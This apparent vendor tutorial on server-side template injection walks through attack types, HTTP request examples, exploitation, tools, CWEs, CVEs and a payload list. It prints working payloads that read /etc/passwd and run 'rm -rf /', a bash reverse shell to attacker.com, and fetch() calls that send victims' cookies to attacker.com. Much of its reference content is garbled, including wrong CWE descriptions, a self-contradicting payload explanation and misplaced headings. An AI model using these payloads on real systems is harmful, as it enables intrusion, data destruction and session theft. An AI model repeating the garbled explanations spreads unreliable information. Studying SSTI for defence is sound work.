21 Feb, 2023

Server-Side Template Injection

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

The abbreviation for Server-Side Template Injection is SSTI.

SSTI stands for Server-Side Template Injection.

Server-Side Template Injection (SSTI) is a type of security vulnerability that can occur in web applications where an attacker can inject malicious code into a server-side template.

A server-side template is a file or piece of code that defines how a web application will display data to users. It is typically executed on the server-side and generates dynamic content that is sent to the user’s browser. In an SSTI attack, an attacker is able to inject their own code into the server-side template, allowing them to execute arbitrary code on the server, manipulate data, or access sensitive information.

This type of vulnerability can be particularly dangerous because it allows an attacker to execute code on the server, which can lead to the compromise of the entire system. Common attack vectors for SSTI include input fields, query parameters, and other user-controllable inputs that are not properly validated or sanitized by the application.

Types of Server-Side Template Injection

There are several different types of Server-Side Template Injection (SSTI) that can occur in web applications. Here is a list of some of the most common types:

  1. String interpolation: This occurs when user input is directly inserted into a string in a server-side template, allowing an attacker to inject code into the template.

  2. Object injection: This occurs when an attacker is able to inject a serialized object into a server-side template, which can be deserialized and executed on the server.

  3. Code injection: This occurs when an attacker is able to inject arbitrary code into a server-side template, allowing them to execute commands on the server.

  4. Command injection: This occurs when user input is used in a server-side template to construct a command that is executed on the server, allowing an attacker to execute arbitrary commands.

  5. Expression injection: This occurs when an attacker is able to inject a malicious expression into a server-side template, allowing them to execute arbitrary code.

  6. Template injection via client-side scripting: This occurs when an attacker is able to inject malicious JavaScript code into a server-side template using a cross-site scripting (XSS) attack.

Each of these types of SSTI vulnerabilities can have serious consequences, and it is important for developers to be aware of them and take steps to prevent them in their web applications.

Examples of the requests that can be used to test Server-Side Template Injection

Examples of GET and POST requests in of the different types of Cross-Site Script Inclusion (XSSI):

Code injection:

GET request

In this type of SSTI attack, an attacker can inject arbitrary code into the server-side template, allowing them to execute code on the server.

				
					GET /search?q={{user_input}} HTTP/1.1
Host: example.com
				
			

In this example, the ‘q‘ parameter is used to submit user input to the server-side template. An attacker could exploit this by submitting a payload that injects arbitrary code:

				
					GET /search?q={{2+2}} HTTP/1.1
Host: example.com
				
			

In this payload, the attacker is injecting the expression ‘{{2+2}}‘ into the ‘q‘ parameter, which will be evaluated by the server-side template engine. This will result in the server returning the result of the expression, which is ‘4‘.

An attacker could also inject more malicious code, such as:

				
					GET /search?q={{import os; os.system('rm -rf /')}} HTTP/1.1
Host: example.com
				
			

In this payload, the attacker is injecting code that uses the ‘os‘ module to execute a shell command that will delete all files on the server. This is obviously a very dangerous payload, but it illustrates the potential damage that can be caused by an SSTI attack.

POST request

In this type of SSTI attack, an attacker is able to inject arbitrary code into a server-side template, allowing them to execute commands on the server. Here is an example POST request in Burp Suite with a code injection SSTI vulnerability:

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data={{exec('ls')}}
				
			

In this example, the’ form_data‘ parameter is used to execute the ‘ls‘ command on the server using the ‘exec‘ function. If the server-side template does not properly sanitize and validate this input, an attacker could potentially inject other commands or code that can be executed on the server.

Object injection:

GET request

In this type of SSTI attack, an attacker can manipulate the object used by the server-side template engine to inject code.

				
					GET /search?q={{user_input}} HTTP/1.1
Host: example.com
				
			

In this example, the ‘q‘ parameter is used to submit user input to the server-side template. An attacker could exploit this by submitting a payload that injects a malicious object:

				
					GET /search?q={{''.__class__.__mro__[1].__subclasses__()[338]('/etc/passwd').read()}} HTTP/1.1
Host: example.com
				
			

In this payload, the attacker is injecting a Python code that calls the ‘__class__‘ attribute of an empty string ‘"‘ and retrieves its second item in the ‘__mro__‘ attribute. This is a class that is a subclass of ‘type‘ and is the ‘subprocess.Popen‘ class, which can execute shell commands.

The code then calls the ‘subclasses()' method of the ‘Popen ‘class, which returns a list of all the subclasses of the class. The attacker then selects the 339th class in the list, which is the ‘file‘ class.

POST request

In this type of SSTI attack, an attacker is able to inject a serialized object into a server-side template, which can be deserialized and executed on the server. Here is an example POST request in Burp Suite with an object injection SSTI vulnerability:

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data={{serialized_object}}
				
			

In this example, the  ‘form_data‘ parameter is used to submit a serialized object to the server. If the server-side template does not properly sanitize and validate this input, an attacker could potentially inject a malicious object that can be executed on the server.

String interpolation:

GET request

In this type of SSTI attack, user input is directly inserted into a string in a server-side template, allowing an attacker to inject code into the template. Here is an example GET request in Burp Suite with a string interpolation SSTI vulnerability:

				
					GET /search?q={{user_input}} HTTP/1.1
Host: example.com
				
			

In this example, the ‘{{user_input}}‘ value is directly inserted into a string in the server-side template, allowing an attacker to inject malicious code into the template.

POST request

In this type of SSTI attack, user input is directly inserted into a string in a server-side template, allowing an attacker to inject code into the template.

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data=name={{user_input}}&message=Hello {{user_input}}!
				
			

In this example, the ‘name‘ and ‘message‘ parameters are used to submit user input to the server-side template. The ‘{{user_input}}‘ value is directly inserted into a string in the server-side template, allowing an attacker to inject malicious code into the template.

For instance, an attacker could submit a payload like the following:

				
					name={{7*7}}&message=Hello {{7*7}}!
				
			

This payload will inject the expression ‘{{7*7}}‘ into both the name and message parameters, resulting in the server evaluating the expression and returning ‘name=49&message=Hello 49!‘.

Command injection:

GET request

In this type of SSTI attack, user input is used in a server-side template to construct a command that is executed on the server, allowing an attacker to execute arbitrary commands. Here is an example GET request in Burp Suite with a command injection SSTI vulnerability:

				
					GET /search?q=`{{user_input}}` HTTP/1.1
Host: example.com
				
			

In this example, the ‘{{user_input}}‘ value is used to construct a command that is executed on the server using backticks. If the server-side template does not properly sanitize and validate this input, an attacker could potentially inject other commands or code that can be executed on the server.

POST request

In this type of SSTI attack, an attacker can inject shell commands into the server-side template, allowing them to execute commands on the server.

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{user_input}}
				
			

In this example, the query parameter is used to submit user input to the server-side template.

An attacker could exploit this by submitting a payload that injects shell commands:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{5*'5'}}
				
			

In this payload, the attacker is injecting the expression ‘{{5*'5'}}‘ into the ‘query‘ parameter, which will be evaluated by the server-side template engine. This will result in the server returning the result of the expression, which is the string ‘"55555"‘.

An attacker could also inject more malicious commands, such as:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{''.__class__.__mro__[1].__subclasses__()[313].__init__.__globals__['__builtins__']['__import__']('os').system('rm -rf /')}}

				
			

In this payload, the attacker is injecting code that uses the ‘os‘ module to execute a shell command that will delete all files on the server. This is obviously a very dangerous payload, but it illustrates the potential damage that can be caused by an SSTI attack.

Expression injection:

GET request

In this type of SSTI attack, an attacker is able to inject a malicious expression into a server-side template, allowing them to execute arbitrary code. Here is an example GET request in Burp Suite with an expression injection SSTI vulnerability:

				
					GET /search?q={{7*7}} HTTP/1.1
Host: example.com
				
			

In this example, the ‘{{7*7}}‘ value is used to inject a malicious expression that will be executed on the server. If the server-side template does not properly sanitize and validate this input, an attacker could potentially inject other expressions or code that can be executed on the server.

POST request

In this type of SSTI attack, an attacker can inject arbitrary expressions into the server-side template, allowing them to execute expressions on the server.

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{user_input}}
				
			

In this example, the ‘query‘ parameter is used to submit user input to the server-side template. An attacker could exploit this by submitting a payload that injects arbitrary expressions:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{5*5}}
				
			

In this payload, the attacker is injecting the expression ‘{{5*5}}‘ into the ‘query‘ parameter, which will be evaluated by the server-side template engine. This will result in the server returning the result of the expression, which is the number ‘25‘.

An attacker could also inject more complex expressions, such as:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{1 if '__import__' in dir() else 0}}
				
			

In this payload, the attacker is injecting an expression that checks if the ‘__import__‘ function is available in the current environment, and returns either ‘1‘ or ‘0‘ depending on the result. This can be used by the attacker to determine if certain modules or functions are available on the server, which can aid in further exploitation.

Template injection via client-side scripting:

GET request

In this type of SSTI attack, an attacker can inject template code via client-side scripting, such as JavaScript, and trick the server into executing the code.

				
					GET /search?query={{user_input}} HTTP/1.1
Host: example.com
				
			

In this example, the ‘query‘ parameter is used to submit user input to the server-side template. An attacker could exploit this by injecting JavaScript code that will execute on the client-side, and modify the template on the server-side:

				
					GET /search?query=<script>document.write('{{5*5}}')</script> HTTP/1.1
Host: example.com
				
			

In this payload, the attacker is injecting a ‘<script>‘ tag that will be executed on the client-side. The JavaScript code inside the tag will modify the server-side template by injecting the expression ‘{{5*5}}‘. This will result in the server returning the result of the expression, which is the number ‘25‘.

An attacker could also inject more malicious JavaScript code, such as:

				
					GET /search?query=<script>document.write('{{''.__class__.__mro__[1].__subclasses__()[313].__init__.__globals__['__builtins__']['__import__']('os').system('rm -rf /')}}')</script> HTTP/1.1
Host: example.com
				
			

In this payload, the attacker is injecting JavaScript code that will execute on the client-side and modify the server-side template to execute a shell command that will delete all files on the server. This is obviously a very dangerous payload.

An attacker could also inject more sophisticated client-side script, such as:

				
					GET /search?q=<script>fetch('http://attacker.com/cookie?cookie='+document.cookie)</script>{{1}} HTTP/1.1
Host: example.com
				
			

In this payload, the attacker is injecting client-side script that will use the ‘fetch()‘ function to send the victim’s cookies to a remote attacker-controlled server. This can allow the attacker to perform session hijacking or other attacks.

It is important for developers to properly sanitize and validate all user input to prevent SSTI attacks in their web applications, including client-side script injection. This can be done by filtering or escaping any user input that is used in server-side templates or client-side scripts.

POST request

In this type of SSTI attack, an attacker is able to inject malicious JavaScript code into a server-side template using a cross-site scripting (XSS) attack. Here is an example POST request in Burp Suite with a template injection via client-side scripting SSTI vulnerability:

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data=<script>document.write('{{user_input}}')</script>
				
			

In this example, the form_data parameter is used to submit a script that injects the ‘{{user_input}}‘ value into the server-side template using the ‘document.write‘ function. If the server-side template does not properly sanitize and validate this input, an attacker could potentially inject other malicious JavaScript code that can be executed on the server.

Examples of Server-Side Template Injection exploitation

A few examples of how Server-Side Template Injection (SSTI) vulnerabilities can be exploited by attackers:

1. Extracting Sensitive Information: An attacker can exploit SSTI vulnerabilities to extract sensitive information, such as credentials or database connection details. For example, an attacker could submit a payload that injects code to print the contents of the ‘/etc/passwd‘ file:

				
					{{config.__class__.__init__.__globals__['os'].popen('/bin/cat /etc/passwd').read()}}
				
			

This payload will execute the ‘cat /etc/passwd‘ command on the server and return the contents of the file.

2. Remote Code Execution: SSTI vulnerabilities can also be used to execute arbitrary code on the server. For example, an attacker could submit a payload that injects a Python function that opens a reverse shell on the server:

				
					{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "bash -i >& /dev/tcp/attacker.com/8080 0>&1"').read()}}
				
			

This payload will execute the bash command on the server and open a reverse shell to the attacker’s machine.

3. Cross-Site Scripting (XSS): In some cases, SSTI vulnerabilities can be exploited to inject malicious client-side scripts into the server-side templates. This can lead to Cross-Site Scripting (XSS) attacks, where the attacker can steal cookies or other sensitive information from the victim’s browser. For example, an attacker could submit a payload that injects a script to steal the victim’s cookies:

				
					{{'<script>fetch("http://attacker.com/steal.php?cookie="+document.cookie)</script>'}}
				
			

This payload will inject a script that uses the ‘fetch()‘ function to send the victim’s cookies to the attacker’s server.

4. Denial of Service (DoS): In some cases, SSTI vulnerabilities can be exploited to cause a Denial of Service (DoS) attack, where the server is overwhelmed with requests and becomes unresponsive. For example, an attacker could submit a payload that injects a loop that repeatedly sends requests to the server:

				
					{% for i in range(1000000) %} 
   <img decoding="async" class="lazyload" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-src="https://example.com/foo?{{i}}"><noscript><img decoding="async" class="lazyload" src="https://example.com/foo?{{i}}"></noscript>
{% endfor %}
				
			

This payload will inject a loop that sends a million requests to the server, potentially overwhelming its resources and causing it to crash.

These are just a few examples of how SSTI vulnerabilities can be exploited by attackers.

Privilege escalation techniques Server-Side Template Injection

Server-Side Template Injection (SSTI) vulnerabilities can lead to privilege escalation if an attacker can leverage them to gain access to sensitive resources or perform actions that they are not authorized to perform. Here are a few techniques that attackers can use to escalate privileges using SSTI vulnerabilities:

1. Accessing Sensitive Files: SSTI vulnerabilities can allow an attacker to read sensitive files that they would not otherwise have access to. For example, an attacker could submit a payload that injects code to read a configuration file that contains sensitive information:

				
					{{config.__class__.__init__.__globals__['open']('/etc/myapp/config.ini').read()}}
				
			

This payload will execute the ‘open()‘ function to read the contents of the ‘/etc/myapp/config.ini‘ file, which may contain credentials or other sensitive information. Once the attacker has access to this information, they may be able to use it to escalate their privileges further.

2. Accessing the Database: If the web application uses a database to store sensitive information, an attacker can use SSTI vulnerabilities to execute arbitrary SQL queries and gain access to the database. For example, an attacker could submit a payload that injects code to execute a SQL query that retrieves user credentials:

				
					{{config.__class__.__init__.__globals__['session'].query(User).filter_by(username='admin').first()}}
				
			

This payload will execute a SQL query to retrieve the first user record from the ‘User‘ table with a username of ‘admin‘. Once the attacker has access to this information, they may be able to use it to escalate their privileges further.

3. Escalating to Admin Privileges: If the web application has an admin interface or backend, an attacker can use SSTI vulnerabilities to gain access to these interfaces and perform actions that they are not authorized to perform. For example, an attacker could submit a payload that injects code to authenticate as an admin user:

				
					{{config.__class__.__init__.__globals__['session'].query(User).filter_by(username='admin', password='p@ssw0rd').first()}}
				
			

This payload will execute a SQL query to retrieve the first user record from the ‘User‘ table with a username of ‘admin‘ and a password of ‘p@ssw0rd‘. Once the attacker has access to this admin account, they may be able to perform privileged actions on the web application, such as creating new users, modifying user permissions, or changing the configuration of the application.

4. Exploiting Other Vulnerabilities: SSTI vulnerabilities can often be combined with other vulnerabilities to escalate privileges further. For example, an attacker may use SSTI to gain access to a privileged account, and then use another vulnerability, such as a SQL injection or a file inclusion vulnerability, to gain full control of the server.

General methodology and checklist for testing Server-Side Template Injection

Testing for Server-Side Template Injection (SSTI) involves identifying the input points where template engines are used and crafting payloads to inject malicious code.

  1. Identify Input Points: The first step in testing for SSTI is to identify the input points where template engines are used. This includes areas such as form fields, query parameters, headers, and cookies. Burp Suite or other intercepting proxy tools can be used to identify these input points.

  2. Determine Template Engine: Once the input points have been identified, the next step is to determine which template engine is being used. Popular template engines include Jinja2, Twig, Smarty, and Handlebars. This information can usually be found in the application’s documentation or by inspecting the source code.

  3. Craft Payloads: With the input points and template engine identified, the next step is to craft payloads to inject into the application. These payloads should be designed to test the template engine for vulnerabilities by injecting code and testing for code execution, file inclusion, and other malicious behaviors.

  4. Test for Code Execution: One of the primary objectives in testing for SSTI is to test for code execution. This can be done by injecting code into the application and observing whether the code is executed on the server. For example, a payload such as ‘{{7*7}}‘ can be used to test for code execution by injecting simple arithmetic operations.

  5. Test for File Inclusion: SSTI can also be used to include arbitrary files on the server. This can be done by injecting code that includes a file path in the template. For example, a payload such as ‘{{config.__class__.__init__.__globals__['open']('/etc/passwd').read()}}‘ can be used to include the ‘/etc/passwd‘ file in the template and read its contents.

  6. Test for Command Injection: In some cases, SSTI can be used to inject commands into the server. This can be done by injecting code that executes commands on the server. For example, a payload such as ‘{{config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}‘ can be used to execute the ‘ls -la‘ command and list the contents of the directory.

  7. Test for Object Injection: SSTI can also be used to inject objects into the server. This can be done by injecting code that creates and manipulates objects in the template. For example, a payload such as ‘{{request.__class__.__base__.__subclasses__()}}‘ can be used to enumerate all of the subclasses of the ‘request‘ object.

  8. Test for Privilege Escalation: Once SSTI vulnerabilities have been identified, the next step is to test for privilege escalation. This involves using the SSTI vulnerability to gain access to sensitive resources or perform actions that are not authorized for the current user.

  9. Report and Remediate: Finally, any SSTI vulnerabilities that are identified should be reported to the application’s developers and remediated as quickly as possible. This may involve patching the application, updating the template engine, or implementing access controls to restrict access to sensitive resources.

Testing for SSTI requires a thorough understanding of the template engine being used and the ability to craft payloads that can exploit vulnerabilities in the engine. By following a checklist and methodology such as the one outlined above, security testers can effectively identify and remediate SSTI vulnerabilities in web applications.

Tools set for exploiting Server-Side Template Injection

Automated Tools:

1. Burp Suite: A popular web application security testing tool that includes modules for SSTI testing and exploitation, such as “Intruder” and “Repeater.”

2. Metasploit: A well-known penetration testing tool that includes various modules for SSTI exploitation, including “exploit/multi/http/jinja2_server_side_template_injection” and “exploit/unix/webapp/django_celery_task_exec.”

3. tplmap: An automated tool specifically designed for discovering and exploiting SSTI vulnerabilities in web applications.

4. Commix: A tool that can be used to automate the process of detecting and exploiting various web application vulnerabilities, including SSTI.

5. RIPS: A static code analysis tool that includes a module for identifying SSTI vulnerabilities in PHP code.

6. Brakeman: A static code analysis tool for Ruby on Rails applications that can identify SSTI vulnerabilities.

7. NodeJsScan: A Node.js security scanner that includes a module for detecting and exploiting SSTI vulnerabilities.

Manual Tools:

 1. Python and Ruby REPL: Python and Ruby are commonly used scripting languages that can be used to manually test and exploit SSTI vulnerabilities. Using a REPL (Read-Eval-Print Loop) shell, an attacker can send a crafted payload to the vulnerable application and observe the response.

2. Browser Developer Tools: Most modern web browsers include developer tools that can be used to manually test and exploit SSTI vulnerabilities. For example, an attacker can use the browser’s JavaScript console to inject malicious code into the application’s templates.

3. Curl: A command-line tool that can be used to manually send HTTP requests and test for SSTI vulnerabilities.

4. Wget: Another command-line tool that can be used to manually send HTTP requests and test for SSTI vulnerabilities.

5. HTTPie: A command-line tool that can be used to send HTTP requests and inspect the responses, including templates.

6. Grep: A command-line tool that can be used to search the application’s responses for SSTI vulnerabilities.

7. SED: A command-line tool that can be used to modify the application’s responses to exploit SSTI vulnerabilities.

8. AWK: A command-line tool that can be used to parse and modify the application’s responses to exploit SSTI vulnerabilities.

9. Netcat: A command-line tool that can be used to manually send HTTP requests and test for SSTI vulnerabilities.

10. Telnet: Another command-line tool that can be used to manually send HTTP requests and test for SSTI vulnerabilities.

11. SQLMap: A popular tool for automated SQL injection testing and exploitation that includes modules for SSTI exploitation as well.

12. XSStrike: A tool for automated XSS testing and exploitation that includes a module for SSTI exploitation.

13. ZAP: The Zed Attack Proxy is another popular web application security testing tool that includes various modules for SSTI testing and exploitation.

It’s important to note that these tools are meant for testing and research purposes only and should not be used to attack or exploit applications without proper authorization.

Average CVSS score of Server-Side Template Injection

The Common Vulnerability Scoring System (CVSS) is a standard framework for assessing and rating the severity of vulnerabilities based on their impact on the confidentiality, integrity, and availability of a system. The CVSS score ranges from 0 to 10, with higher scores indicating more severe vulnerabilities.

The CVSS score for a Server-Side Template Injection (SSTI) vulnerability depends on several factors, such as the impact of the vulnerability, the ease of exploitation, and the scope of the vulnerability. However, in general, SSTI vulnerabilities are considered high severity, with an average CVSS score of 7-9.

The high severity of SSTI vulnerabilities is due to the fact that they allow an attacker to execute arbitrary code or commands on the server, leading to potential data leakage, server takeover, or other serious consequences. The actual CVSS score may vary based on the specific vulnerability, the underlying technology stack, and the level of access required to exploit the vulnerability.

The Common Weakness Enumeration (CWE) Server-Side Template Injection

1. CWE-94: This weakness is about improper control of the code generated by an application, which can allow attackers to execute arbitrary code on the server.

2. CWE-95: This weakness is about improper neutralization of user-controlled input used in dynamic code evaluation, which can allow attackers to execute arbitrary code on the server.

3. CWE-98: This weakness is about improper control of the filename used in include or require statements in PHP, which can allow attackers to include and execute arbitrary code from remote servers.

4. CWE-829: This weakness is about including functionality from an untrusted control sphere, such as a third-party library, that could introduce vulnerabilities or malicious code.

5. CWE-917: This weakness is about improper neutralization of special characters used in operating system commands, which can allow attackers to execute arbitrary commands on the server.

6. CWE-918: This weakness is about server-side request forgery, which can allow attackers to send requests from the server to other internal or external systems.

7. CWE-1199: This weakness is about improper restriction of operations within the bounds of a memory buffer, which can lead to buffer overflows and other memory-related vulnerabilities.

8. CWE-1200: This weakness is similar to CWE-1199 but occurs in multiple functions, which can make it more difficult to detect and fix.

9. CWE-1201: This weakness is about buffer copying without checking the size of the input, which can lead to classic buffer overflows.

10. CWE-1202: This weakness is similar to CWE-1201 but occurs in multiple functions, which can make it more difficult to detect and fix.

11. CWE-1203: This weakness is about integer overflow or wraparound, which can result in unexpected behavior and security vulnerabilities.

12. CWE-1204: This weakness is about incorrect implementation of security checks for standard, which can result in vulnerabilities that are difficult to detect and fix.

13. CWE-1205: This weakness is about improper initialization, which can result in uninitialized variables and other vulnerabilities.

14. CWE-1206: This weakness is about race conditions, which can occur when multiple threads or processes access shared resources concurrently and can lead to security vulnerabilities.

15. CWE-1207: This weakness is about the use of implicit intent for sensitive communication, which can lead to information disclosure or other security vulnerabilities.

16. CWE-1208: This weakness is about poor protection of confidential information in low privilege, which can result in unauthorized access and information disclosure.

17. CWE-1209: This weakness is similar to CWE-1199 but occurs in multiple functions, which can make it more difficult to detect and fix.

18. CWE-1210: This weakness is similar to CWE-1209 but occurs in buffer copying without checking the size of the input, which can lead to classic buffer overflows.

19. CWE-1211: This weakness is about improper restriction of operations within the bounds of a memory buffer, which can lead to buffer overflows and other memory-related vulnerabilities.

20. CWE-1212: This weakness is similar to CWE-1211 but occurs in buffer copying without checking the size of the input, which can lead to classic buffer overflows.

These CWEs represent various types of vulnerabilities related to Server-Side Template Injection and their impact can range from information disclosure to remote code execution.

Latests 10 CVEs related to Server-Side Template Injection

CVE-2023-26092 Liima before 1.17.28 allows server-side template injection.

CVE-2022-4300 A vulnerability was found in FastCMS. It has been rated as critical. This issue affects some unknown processing of the file /template/edit of the component Template Handler. The manipulation leads to injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-214901 was assigned to this vulnerability.

CVE-2022-4282 A vulnerability was found in SpringBootCMS and classified as critical. Affected by this issue is some unknown functionality of the component Template Management. The manipulation leads to injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-214790 is the identifier assigned to this vulnerability.

CVE-2022-42121 A SQL injection vulnerability in the Layout module in Liferay Portal 7.1.3 through 7.4.3.4, and Liferay DXP 7.1 before fix pack 27, 7.2 before fix pack 17, 7.3 before service pack 3, and 7.4 GA allows remote authenticated attackers to execute arbitrary SQL commands via a crafted payload injected into a page template’s ‘Name’ field.

CVE-2022-39365 Pimcore is an open source data and experience management platform. Prior to version 10.5.9, the user controlled twig templates rendering in `Pimcore/Mail` & `ClassDefinition\Layout\Text` is vulnerable to server-side template injection, which could lead to remote code execution. Version 10.5.9 contains a patch for this issue. As a workaround, one may apply the patch manually.

CVE-2022-36799 This issue exists to document that a security improvement in the way that Jira Server and Data Center use templates has been implemented. Affected versions of Atlassian Jira Server and Data Center allowed remote attackers with system administrator permissions to execute arbitrary code via Template Injection leading to Remote Code Execution (RCE) in the Email Templates feature. In this case the security improvement was to protect against using the XStream library to be able to execute arbitrary code in velocity templates. The affected versions are before version 8.13.19, from version 8.14.0 before 8.20.7, and from version 8.21.0 before 8.22.1.

CVE-2022-34771 Tabit – arbitrary SMS send on Tabits behalf. The resend OTP API of tabit allows an adversary to send messages on tabits behalf to anyone registered on the system – the API receives the parameters: phone number, and CustomMessage, We can use that API to craft malicious messages to any user of the system. In addition, the API probably has some kind of template injection potential. When entering {{OTP}} in the custom message field it is formatted into an OTP.

CVE-2022-34625 Mealie1.0.0beta3 was discovered to contain a Server-Side Template Injection vulnerability, which allows attackers to execute arbitrary code via a crafted Jinja2 template.

CVE-2022-32101 kkcms v1.3.7 was discovered to contain a SQL injection vulnerability via the cid parameter at /template/wapian/vlist.php.

CVE-2022-29078 The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).

The list of CVEs is constantly being updated and full an up-to-date list of all existed Common Vulnerabilities and Exposures (CVEs) for HTTP Request Smuggling vulnerabilities can be found at official CVE website https://cve.mitre.org/

List of popular exploits related to Server-Side Template Injection

There are several popular exploits related to Server-Side Template Injection (SSTI) that have been used by attackers to gain unauthorized access or take control of vulnerable systems. Here are some examples:

  1. Apache Struts 2: This is a widely used web application framework that has been known to be vulnerable to SSTI attacks. One notable example is the Equifax breach in 2017, where attackers exploited a SSTI vulnerability in Struts to steal sensitive data of millions of people.

  2. Flask/Jinja2: Flask is a popular Python web framework, and Jinja2 is its default template engine. A known vulnerability in the template engine allowed attackers to execute arbitrary code on the server by injecting malicious code into a Jinja2 template.

  3. Ruby on Rails: Ruby on Rails is a popular web application framework that has also been found to be vulnerable to SSTI attacks. In 2013, a security researcher discovered a SSTI vulnerability in Rails that allowed attackers to execute arbitrary code.

  4. Handlebars.js: Handlebars.js is a popular JavaScript templating engine that has also been found to be vulnerable to SSTI attacks. Attackers can inject malicious code into a Handlebars.js template to execute arbitrary code on the server.

  5. Freemarker: Freemarker is a popular Java template engine that has been found to be vulnerable to SSTI attacks. In 2019, a vulnerability was discovered in Freemarker that allowed attackers to execute arbitrary code.

  6. Tornado: Tornado is a Python web framework that has also been found to be vulnerable to SSTI attacks. A vulnerability in the framework’s template engine was discovered in 2014 that allowed attackers to execute arbitrary code.

  7. Twig: Twig is a popular PHP template engine that has also been found to be vulnerable to SSTI attacks. In 2018, a vulnerability was discovered in Twig that allowed attackers to execute arbitrary code.

These are just a few examples of popular exploits related to Server-Side Template Injection (SSTI). As new vulnerabilities are discovered, attackers will continue to find ways to exploit them to gain unauthorized access or take control of vulnerable systems.

Practice identifying and exploiting Server-Side Template Injection

If you want to study and learn about Server-Side Template Injection (SSTI), here are some recommendations:

  1. Learn the basics of web development: Before diving into SSTI, you should have a good understanding of how web applications work, the different components of web applications, and how they communicate with each other.

  2. Learn about web application vulnerabilities: It’s essential to have an understanding of common web application vulnerabilities, such as SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF), before moving on to SSTI.

  3. Learn about the different types of SSTI: You should have a good understanding of the different types of SSTI, as well as the various languages and frameworks that are vulnerable to this attack. Some of the popular languages and frameworks that you should focus on include Python, Ruby, Twig, and Handlebars.

  4. Learn how to identify SSTI vulnerabilities: You should learn how to identify SSTI vulnerabilities using different methods such as manual testing, automated scanning tools, and code review.

  5. Practice exploiting SSTI vulnerabilities: Once you have a good understanding of SSTI and how to identify vulnerabilities, you should practice exploiting them. There are many vulnerable web applications and challenges available online that you can use for practice.

  6. Keep up-to-date with the latest SSTI research and techniques: SSTI is a rapidly evolving field, and new vulnerabilities and exploitation techniques are constantly being discovered. Therefore, it’s essential to stay up-to-date with the latest research, techniques, and tools.

  7. Join the security community: Joining the security community can be a great way to learn and share knowledge about SSTI and other security-related topics. You can join online forums, discussion groups, and attend security conferences and events.

  8. Take online courses and certifications: There are several online courses and certifications available that cover SSTI and web application security. Some popular options include the Web Application Penetration Testing course by eLearnSecurity and the Certified Web Application Penetration Tester (C-WAPT) certification by Mile2.

Books with review of Server-Side Template Injection

Here are some popular books that cover Server-Side Template Injection (SSTI) and related topics:

  1. “Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws” by Dafydd Stuttard and Marcus Pinto – This book is a comprehensive guide to web application security and includes a chapter on SSTI.

  2. “The Tangled Web: A Guide to Securing Modern Web Applications” by Michal Zalewski – This book provides a detailed analysis of web application security, including topics such as injection attacks, XSS, and CSRF, and includes a chapter on SSTI.

  3. “Black Hat Python: Python Programming for Hackers and Pentesters” by Justin Seitz – This book provides a hands-on approach to learning Python for use in penetration testing and includes a chapter on exploiting SSTI vulnerabilities.

  4. “Python Web Penetration Testing Cookbook” by Cameron Buchanan, Terry Ip, Andrew Mabbitt, and Benjamin May – This book provides a practical guide to using Python for web application penetration testing, including a section on SSTI exploitation.

  5. “Advanced Penetration Testing: Hacking the World’s Most Secure Networks” by Wil Allsopp – This book provides an advanced guide to penetration testing techniques and includes a section on exploiting SSTI vulnerabilities.

  6. “Web Security for Developers: Real Threats, Practical Defense” by Malcolm McDonald and Jason Alexander – This book is geared toward web developers and provides an overview of web application security, including topics such as injection attacks and XSS, and includes a section on SSTI.

  7. “Mastering Modern Web Penetration Testing” by Prakhar Prasad – This book provides a comprehensive guide to modern web penetration testing techniques, including a chapter on exploiting SSTI vulnerabilities.

These books provide a solid foundation for learning about web application security and exploiting SSTI vulnerabilities. It is important to note that some of these books may require a strong technical background in web development and/or programming.

List of payloads for Server-Side Template Injection

Here are some common payloads that can be used for Server-Side Template Injection (SSTI):

  1. ${{<%[%'"}}(cmd){{%]'}}
  2. {{7*7}}
  3. {{ ''.__class__.__mro__[1].__subclasses__()[69].__init__.__globals__['os'].popen('id').read() }}
  4. {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  5. {{"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}}
  6. {{ ''.__class__.__base__.__subclasses__()[59]('id').read() }}
  7. {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
  8. {{ ''.__class__.__mro__[1].__subclasses__()[0].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}
  9. {{self}}
  10. {{this}}

Note that some of these payloads may require modification based on the specific application or framework being tested, and they should only be used in controlled testing environments with appropriate authorization.

Mitigation and how to be protected from Server-Side Template Injection

To protect against Server-Side Template Injection (SSTI), there are several mitigation techniques that can be employed. Here are some of the most effective:

  1. Avoid dynamic template rendering: One way to prevent SSTI attacks is to avoid rendering templates dynamically. Instead, use static templates that do not allow for dynamic input.

  2. Input validation and sanitization: Validate and sanitize user input to prevent malicious code from being injected into templates. Use input validation techniques such as whitelisting, blacklisting, or regular expressions to filter out dangerous input.

  3. Output encoding: Encode all user input before rendering it to the template to prevent malicious code from being executed. Use output encoding techniques such as HTML entity encoding or URL encoding.

